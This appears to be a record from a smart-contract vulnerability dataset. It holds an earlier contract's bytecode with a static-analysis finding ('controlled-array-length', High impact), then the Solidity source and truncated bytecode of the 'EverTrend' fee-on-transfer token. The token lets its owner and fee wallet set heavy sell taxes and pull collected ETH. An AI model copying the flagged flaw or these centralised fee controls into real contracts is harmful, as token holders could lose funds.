640190fd5b6003546001600160a01b0316600090815260208190526040902054611559908463ffffffff6121d916565b600380546001600160a01b03908116600090815260208181526040808320959095558883168083526005825285832086518088018852428a0181528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020612442833981519152928290030190a360408051848152428401602082015281516001600160a01b03871692600080516020612462833981519152928290030190a25060019392505050565b6040518060400160405280600381526020016214d3d160ea1b81525081565b6003546001600160a01b03163314611688576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b611691826121be565b8111156116dd576040805162461bcd60e51b81526020600482015260156024820152742130b630b731b29034b9903a37b79039b6b0b6361760591b604482015290519081900360640190fd5b6116e782826121ee565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60006001600160a01b03831661173f57600080fd5b3360009081526001602090815260408083206001600160a01b0387168452909152902054610a48908363ffffffff6121d916565b3360009081526004602052604081205460ff16156117d8576040805162461bcd60e51b815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff1615611829576040805162461bcd60e51b815260206004820152600f60248201526e2830bab9b2b210313c9037bbb732b960891b604482015290519081900360640190fd5b61183233611e2a565b610e1d8383612283565b6003546001600160a01b03163314611887576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b815161189257600080fd5b80518251146118a057600080fd5b60005b8251811015611150576118dc8382815181106118bb57fe5b60200260200101518383815181106118cf57fe5b6020026020010151611773565b508281815181106118e957fe5b60200260200101516001600160a01b0316336001600160a01b031660008051602061244283398151915284848151811061191f57fe5b60200260200101516040518082815260200191505060405180910390a36001016118a3565b4290565b600080805b6001600160a01b038416600090815260056020526040902054811015610e03576001600160a01b03841660009081526005602052604090208054611996919083908110610dd757fe5b915060010161194d565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b03163314611a19576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b038416611a64576040805162461bcd60e51b815260206004820152600d60248201526c77726f6e67206164647265737360981b604482015290519081900360640190fd5b600354611a79906001600160a01b03166121be565b831115611ac2576040805162461bcd60e51b81526020600482015260126024820152714e6f7420656e6f7567682062616c616e636560701b604482015290519081900360640190fd5b6003546001600160a01b0316600090815260208190526040902054611aed908463ffffffff6121d916565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020612442833981519152928290030190a3604080518481526020810184905281516001600160a01b03871692600080516020612462833981519152928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b03163314611c15576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b81611c1f846121be565b1015611c6a576040805162461bcd60e51b81526020600482015260156024820152742130b630b731b29034b9903a37b79039b6b0b6361760591b604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054611c93908363ffffffff6121d916565b6001600160a01b03841660008181526020818152604080832094909455600581528382208451808601865286815280830188815282546001818101855593865294849020915160029095029091019384555192019190915582518581529081018490528251919260008051602061246283398151915292918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b600080805b6001600160a01b038416600090815260056020526040902054811015611dcc576001600160a01b0384166000908152600560205260409020805442919083908110611d8057fe5b9060005260206000209060020201600001541115611dc4576001600160a01b03841660009081526005602052604090208054611dc1919083908110610dd757fe5b91505b600101611d39565b5092915050565b6003546001600160a01b03163314611e1e576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b611e2781612299565b50565b60005b6001600160a01b038216600090815260056020526040902054811015612049576001600160a01b0382166000908152600560205260409020805442919083908110611e7457fe5b90600052602060002090600202016000015411612041576001600160a01b03821660009081526005602052604090208054611eb4919083908110610f9057fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110611f0857fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110611f5357fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114612016576001600160a01b038216600090815260056020526040902080546000198101908110611fb557fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110611ff357fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b038216600090815260056020526040902080549061203f9060001983016123f9565b505b600101611e2d565b5050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054612081908363ffffffff6121d916565b6001600160a01b03851660009081526001602090815260408083203384529091529020556120b0848484612340565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600082820183811015610e1d57600080fd5b6001600160a01b03821661213b57600080fd5b60025461214e908263ffffffff61211616565b6002556001600160a01b03821660009081526020819052604090205461217a908263ffffffff61211616565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391926000805160206124428339815191529281900390910190a35050565b6001600160a01b031660009081526020819052604090205490565b6000828211156121e857600080fd5b50900390565b6001600160a01b03821661220157600080fd5b600254612214908263ffffffff6121d916565b6002556001600160a01b038216600090815260208190526040902054612240908263ffffffff6121d916565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020612442833981519152929081900390910190a35050565b6000612290338484612340565b50600192915050565b6001600160a01b0381166122e4576040805162461bcd60e51b815260206004820152600d60248201526c20b63932b0b23c9037bbb732b960991b604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03821661235357600080fd5b6001600160a01b03831660009081526020819052604090205461237c908263ffffffff6121d916565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546123b1908263ffffffff61211616565b6001600160a01b0380841660008181526020818152604091829020949094558051858152905191939287169260008051602061244283398151915292918290030190a3505050565b81548183558181111561115057600083815260209020611150916109099160029182028101918502015b8082111561243d5760008082556001820155600201612423565b509056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557ba265627a7a72315820e05fea97a086b4f2f69b24e7f87c2612955c825af544ad2dd680aa5097b2225264736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,232
0xe05167d8209d8d07fb69e20c1f5b5db2ec35ccc4
/** *Submitted for verification at Etherscan.io on 2021-06-22 */ /** *Submitted for verification at Etherscan.io on 2021-06-19 */ /* SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EverTrend is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"EverTrend" ; string private constant _symbol = unicode"TREND"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(1)).div(10); _teamFee = (_impactFee.mul(9)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 1; _teamFee = 9; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (30 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 10000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (240 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600981526020017f457665725472656e640000000000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5452454e44000000000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff02191690831515021790555060f042610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b505050678ac7230489e8000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff